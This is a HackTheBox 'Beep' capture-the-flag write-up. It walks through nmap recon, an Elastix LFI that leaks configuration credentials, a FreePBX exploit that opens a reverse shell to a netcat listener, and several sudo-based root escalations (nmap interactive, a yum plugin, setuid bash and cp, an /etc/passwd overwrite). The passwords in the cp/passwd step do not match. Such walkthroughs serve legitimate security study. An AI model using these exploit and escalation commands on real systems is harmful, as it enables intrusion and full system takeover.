CyberSec Writeups

Red Team / Blue Team labs - HackTheBox, BlueTeamLabsOnline, TryHackMe, PortSwigger

HackTheBox: Beep

linux elastix freepbx lfi rce sudo nmap

Beep is a Linux-based machine authored by ch4p, with an average rating of 4.3 stars.

// Recon

┌──(kali㉿kali)-[/mnt/hgfs/VMWare-shared/HTB/beep]
└─$ nmap -A -p- beep.htb    
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-26 08:16 AEST
Nmap scan report for beep.htb (10.10.10.7)
Host is up (0.034s latency).
Not shown: 65519 closed tcp ports (conn-refused)
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
|   1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_  2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp    open  smtp       Postfix smtpd
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN
80/tcp    open  http       Apache httpd 2.2.3                                         
|_http-title: Did not follow redirect to https://beep.htb/
|_http-server-header: Apache/2.2.3 (CentOS)
110/tcp   open  pop3       Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_pop3-capabilities: LOGIN-DELAY(0) APOP IMPLEMENTATION(Cyrus POP3 server v2) USER AUTH-RESP-CODE TOP UIDL RESP-CODES PIPELINING STLS EXPIRE(NEVER)
|_sslv2: ERROR: Script execution failed (use -d to debug)
111/tcp   open  rpcbind    2 (RPC #100000)
| rpcinfo:                                                                                      
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1            876/udp   status
|_  100024  1            879/tcp   status
143/tcp   open  imap       Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_imap-capabilities: THREAD=ORDEREDSUBJECT OK URLAUTHA0001 NAMESPACE CATENATE X-NETSCAPE LIST-SUBSCRIBED SORT=MODSEQ IMAP4rev1 STARTTLS IDLE CONDSTORE MULTIAPPEND SORT THREAD=REFERENCES Completed NO ATOMIC RENAME UNSELECT LISTEXT UIDPLUS BINARY LITERAL+ ANNOTATEMORE IMAP4 RIGHTS=kxte QUOTA ID ACL MAILBOX-REFERRALS CHILDREN
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_imap-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
443/tcp   open  ssl/http   Apache httpd 2.2.3 ((CentOS))
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2017-04-07T08:22:08
|_Not valid after:  2018-04-07T08:22:08
|_http-server-header: Apache/2.2.3 (CentOS)
|_ssl-date: 2022-07-25T22:19:51+00:00; -1s from scanner time.
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Elastix - Login page
879/tcp   open  status     1 (RPC #100024)
993/tcp   open  ssl/imap   Cyrus imapd
|_imap-capabilities: CAPABILITY
995/tcp   open  pop3       Cyrus pop3d
|_ssl-known-key: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
3306/tcp  open  mysql      MySQL (unauthorized)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
4190/tcp  open  sieve      Cyrus timsieved 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 (included w/cyrus imap)
4445/tcp  open  upnotifyp?
4559/tcp  open  hylafax    HylaFAX 4.3.10
5038/tcp  open  asterisk   Asterisk Call Manager 1.1
10000/tcp open  http       MiniServ 1.570 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: Hosts:  beep.localdomain, 127.0.0.1, example.com, localhost; OS: Unix

Host script results:
|_clock-skew: -1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 321.31 seconds

Nmap reveals this target is likely running CentOS Linux, and hosts a significant number of external-facing services:

Beginning with the web-servers (which are usually the easiest to interrogate and evaluate) the server on port 80 provides a typical 302 redirect (without any meaningful content) to the SSL-enabled port 443. Accessing the target on that port returns an Elastix login page:

Elastix claims to provide “..[a] unified communications server software that brings together IP PBX, email, IM, faxing and collaboration functionality”. From a security perspective, those services cover a lot of business functionality, so it’s likely that gaining access to this interface would yield considerable privileges. A number of published default credentials can be found online, but fail to provide access when tested.

// Initial Foothold

The HTTP response headers reveal the use of PHP 5.1.6 (quite old) and the setting of an elastixSession cookie, but nothing that indicates what version of Elastix might be running on the target:

...
X-Powered-By: PHP/5.1.6
Set-Cookie: elastixSession=5fjnv8dhd9ffht6kvkl1dvdmd1; path=/
...

Searchsploit returns a number of hits for “Elastix”, predominantly against the 2.2 release:

┌──(kali㉿kali)-[~/HTB/beep]
└─$ searchsploit -w elastix
-------------------------------------------------------------------------------------- --------------------------------------------
 Exploit Title                                                                        |  URL
-------------------------------------------------------------------------------------- --------------------------------------------
Elastix - 'page' Cross-Site Scripting                                                 | https://www.exploit-db.com/exploits/38078
Elastix - Multiple Cross-Site Scripting Vulnerabilities                               | https://www.exploit-db.com/exploits/38544
Elastix 2.0.2 - Multiple Cross-Site Scripting Vulnerabilities                         | https://www.exploit-db.com/exploits/34942
Elastix 2.2.0 - 'graph.php' Local File Inclusion                                      | https://www.exploit-db.com/exploits/37637
Elastix 2.x - Blind SQL Injection                                                     | https://www.exploit-db.com/exploits/36305
Elastix < 2.5 - PHP Code Injection                                                    | https://www.exploit-db.com/exploits/38091
FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution                                | https://www.exploit-db.com/exploits/18650
-------------------------------------------------------------------------------------- --------------------------------------------
Shellcodes: No Results

Discarding the XSS-related exploits, and those that require some level of access already, two stand out as most interesting:

  1. Elastix 2.2.0 - ‘graph.php’ Local File Inclusion
  2. FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution

The remote code execution exploit code essentially involves a specially crafted request, that takes advantage of what is likely an unauthenticated url to establish a reverse shell. The only problem is that it requires a known extension number to run, which we don’t have, and the default value of 1000 does not seem valid. Reviewing the graph.php local file inclusion indicates that we can access any file on the system that the webserver user has read access to, via a simple directory traversal attack. Running this exploit to retrieve the /etc/passwd file confirms the target is vulnerable:

Leveraging this into gaining access to the system requires some knowledge of Elastix configuration. A great place to start is /etc/amportal.conf, the primary configuration file for FreePBX (Elastix). Requesting it returns the following useful data:

# FreePBX Database configuration
...
AMPDBHOST=localhost
AMPDBENGINE=mysql
# AMPDBNAME=asterisk
AMPDBUSER=asteriskuser
# AMPDBPASS=amp109
AMPDBPASS=jEhdIekWmdjE
AMPENGINE=asterisk
AMPMGRUSER=admin
#AMPMGRPASS=amp111
AMPMGRPASS=jEhdIekWmdjE
...
# This is the default admin name used to allow an administrator to login to ARI bypassing all security.
# Change this to whatever you want, don't forget to change the ARI_ADMIN_PASSWORD as well
ARI_ADMIN_USERNAME=admin

# This is the default admin password to allow an administrator to login to ARI bypassing all security.
# Change this to a secure password.
ARI_ADMIN_PASSWORD=jEhdIekWmdjE

Nmap earlier identified that there is an externally-accessible MySQL port, but it seems that host-based authentication is also in use, preventing us from exploiting the stolen credentials:

┌──(kali㉿kali)-[~/HTB/beep]
└─$ mysql -uasteriskuser -pjEhdIekWmdjE -h beep.htb
ERROR 1130 (HY000): Host '10.10.17.230' is not allowed to connect to this MySQL server

We can, however, take the ARI_ADMIN_USERNAME and ARI_ADMIN_PASSWORD values and use them to login to the web server:

There is a lot of admin-level content available here, but what we’re really after is a valid extension, which can be found under the PBX tab:

If we set extension="233" in the RCE exploit mentioned earlier, along with the details of a running netcat listener, we’re able to establish a reverse shell:

rhost="10.10.10.7"
lhost="10.10.17.230"
lport=443
extension="233"

┌──(kali㉿kali)-[~/HTB/beep]
└─$ python2 18650.py 

┌──(kali㉿kali)-[~/HTB/beep]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.17.230] from (UNKNOWN) [10.10.10.7] 44146
whoami
asterisk

From here, we can retrieve the user flag from the usual location:

ls /home
fanis
spamfilter
ls /home/fanis/
user.txt
cat /home/fanis/user.txt
20837***************************

// Privilege Escalation

As explained in the RCE exploit documentation, FreePBX boxes come pre-configured with a smorgasboard of sudo-enabled privilege escalation methods for the asterisk user:

bash-3.2$ sudo -l
sudo -l
Matching Defaults entries for asterisk on this host:
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
    LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
    XAUTHORITY"

User asterisk may run the following commands on this host:
    (root) NOPASSWD: /sbin/shutdown
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/bin/yum
    (root) NOPASSWD: /bin/touch
    (root) NOPASSWD: /bin/chmod
    (root) NOPASSWD: /bin/chown
    (root) NOPASSWD: /sbin/service
    (root) NOPASSWD: /sbin/init
    (root) NOPASSWD: /usr/sbin/postmap
    (root) NOPASSWD: /usr/sbin/postfix
    (root) NOPASSWD: /usr/sbin/saslpasswd2
    (root) NOPASSWD: /usr/sbin/hardware_detector
    (root) NOPASSWD: /sbin/chkconfig
    (root) NOPASSWD: /usr/sbin/elastix-helper

GTFOBins provides great examples of usage for a lot of these, some highlights including:

bash-3.2$ sudo nmap --interactive
sudo nmap --interactive

Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
sh-3.2# whoami
whoami
root
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF

cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF

cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
  os.execl('/bin/sh','/bin/sh')
EOF

bash-3.2$ sudo yum -c $TF/x --enableplugin=y
sudo yum -c $TF/x --enableplugin=y
Loaded plugins: y
No plugin match for: y
sh-3.2# whoami
whoami
root
# not setuid to begin with
bash-3.2$ ls -l /bin/bash
ls -l /bin/bash
-rwxr-xr-x 1 root root 729292 Jan 22  2009 /bin/bash

# adding setuid
bash-3.2$ sudo chmod 4755 /bin/bash
sudo chmod 4755 /bin/bash

# confirming the change
bash-3.2$ ls -l /bin/bash
ls -l /bin/bash
-rwsr-xr-x 1 root root 729292 Jan 22  2009 /bin/bash

# escalating to root
bash-3.2$ whoami
whoami
asterisk
bash-3.2$ /bin/bash -p 
/bin/bash -p
bash-3.2# whoami
whoami
root

Another involves setting /bin/cp as SETUID, then setting the root password in a temporary copy of /etc/passwd, and finally copying it back into the protected path:

# not setuid to begin with
bash-3.2$ ls -l /bin/cp
ls -l /bin/cp
-rwxr-xr-x 1 root root 68248 Mar 30  2011 /bin/cp

# adding setuid
bash-3.2$ sudo chmod 4755 /bin/cp
sudo chmod 4755 /bin/cp

# confirming the change
bash-3.2$ ls -l /bin/cp
ls -l /bin/cp
-rwsr-xr-x 1 root root 68248 Mar 30  2011 /bin/cp

# creating a temporary copy of passwd, and setting the root password:
bash-3.2$ cat /etc/passwd | sed "s/root:x/root"$(openssl passwd h4ckth3box)"/g" > /tmp/passwd
> /tmp/passwd | sed "s/root:x/root"$(openssl passwd h4ckth3box)"/g"  
Warning: truncating password to 8 characters

# using setuid cp to move the temporary copy back to /etc:
bash-3.2$ cp /tmp/passwd /etc/passwd
cp /tmp/passwd /etc/passwd

# logging in as root with the new password:
bash-3.2$ su -
su -
Password: h4ckth3b0x

[root@beep ~]# whoami
whoami
root

Whichever path is chosen, the root flag can then be retrieved from the usual location:

sh-3.2# cat /root/root.txt
cat /root/root.txt
83f48***************************